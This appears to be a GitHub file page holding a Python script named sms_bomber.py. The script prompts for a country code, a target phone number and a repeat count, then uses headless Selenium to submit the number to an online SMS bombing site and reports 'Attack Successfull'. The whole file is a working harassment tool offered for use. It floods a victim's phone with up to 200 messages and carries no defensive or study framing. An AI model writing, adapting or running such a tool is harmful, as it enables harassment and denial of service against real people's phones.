-
Notifications
You must be signed in to change notification settings - Fork 4
/
sms_bomber.py
121 lines (92 loc) · 4.26 KB
/
sms_bomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
def smsbombingwin():
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import Select
from simple_chalk import chalk
import time
import os
os.system('cls')
eascii = """
$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$\ $$\
$$ __$$\ $$$\ $$$ |$$ __$$\ $$ __$$\ $$ |
$$ / \__|$$$$\ $$$$ |$$ / \__| $$ | $$ | $$$$$$\ $$$$$$\$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\
\$$$$$$\ $$\$$\$$ $$ |\$$$$$$\ $$$$$$$\ |$$ __$$\ $$ _$$ _$$\ $$ __$$\ $$ __$$\ $$ __$$\
\____$$\ $$ \$$$ $$ | \____$$\ $$ __$$\ $$ / $$ |$$ / $$ / $$ |$$ | $$ |$$$$$$$$ |$$ | \__|
$$\ $$ |$$ |\$ /$$ |$$\ $$ | $$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ ____|$$ |
\$$$$$$ |$$ | \_/ $$ |\$$$$$$ | $$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$$$$$$ |\$$$$$$$\ $$ |
\______/ \__| \__| \______/ \_______/ \______/ \__| \__| \__|\_______/ \_______|\__|
"""
print(chalk.green.bold(eascii))
def remsp(num):
num = num.replace(' ', '')
num = num.replace('-', '')
return num
cc = input(chalk.green("[1] ----> Enter Your Country Code (Without +): "))
ph = input(chalk.red('[2] ----> Enter Target Number: ' + " +" + cc + " "))
ph = remsp(ph)
if len(cc) >= 4 or len(cc) < 1:
print(chalk.red.bold('[-] Invalid Country Code.. Country Codes Are Generally 1-3 digits...'))
return
if len(ph) <= 6:
print(chalk.red.bold('[-] Invalid Phone Number..'))
return
for cch in str(cc + ph):
if not cch.isdigit():
print(chalk.red.bold('[-] Phone Number Must Consist Of Numbers Only'))
return
repcount = int(input('[3] ----> How many times (1-200) ? : '))
options = Options()
options.headless = True
options.add_argument("--log-level=3")
wcr_dict = os.getcwd() + '\chromedriver.exe'
print(chalk.green("[+] Chrome Driver Path Found = ",wcr_dict))
browser = webdriver.Chrome(executable_path=wcr_dict, chrome_options=options)
print("\n\n")
print(chalk.green(f'[1] ----> Enter Your Country Code (Without +): {cc}'))
print(chalk.green(f'[2] ----> Enter Target Number: +{cc} {ph}'))
print(chalk.green(f'[3] ----> How many times (1-200) ? : {repcount}'))
print(chalk.red(f'[4] ----> Attack Under Progress (Don\'t Close The Terminal) !'))
if cc == '91':
browser.get('https://mytoolstown.com/smsbomber/#bestsmsbomber')
try:
confirm = WebDriverWait(browser, 20).until(EC.presence_of_element_located(
(By.ID, "mobno")))
finally:
pass
else:
browser.get('https://mytoolstown.com/smsbomber/change.php')
try:
confirm = WebDriverWait(browser, 20).until(EC.presence_of_element_located(
(By.NAME, "countrycode")))
finally:
pass
select = Select(browser.find_element_by_name('countrycode'))
try:
select.select_by_value(cc)
except:
print(chalk.red.bold('[-] Invalid Country Code !'))
return
finally:
pass
browser.find_element_by_name('submit').click()
time.sleep(5)
browser.get('https://mytoolstown.com/smsbomber/#bestsmsbomber')
try:
confirm = WebDriverWait(browser, 20).until(EC.presence_of_element_located(
(By.ID, "mobno")))
finally:
pass
browser.find_element_by_id('mobno').send_keys(int(ph))
time.sleep(5)
browser.find_element_by_id('count').send_keys(repcount)
time.sleep(1)
browser.find_element_by_id('count').send_keys(Keys.TAB + Keys.ARROW_DOWN + Keys.ARROW_DOWN + Keys.ENTER)
while browser.current_url != 'https://mytoolstown.com/smsbomber/success.php':
time.sleep(5)
print(chalk.green.bold('[+] Attack Successfull !'))
time.sleep(2)
browser.quit()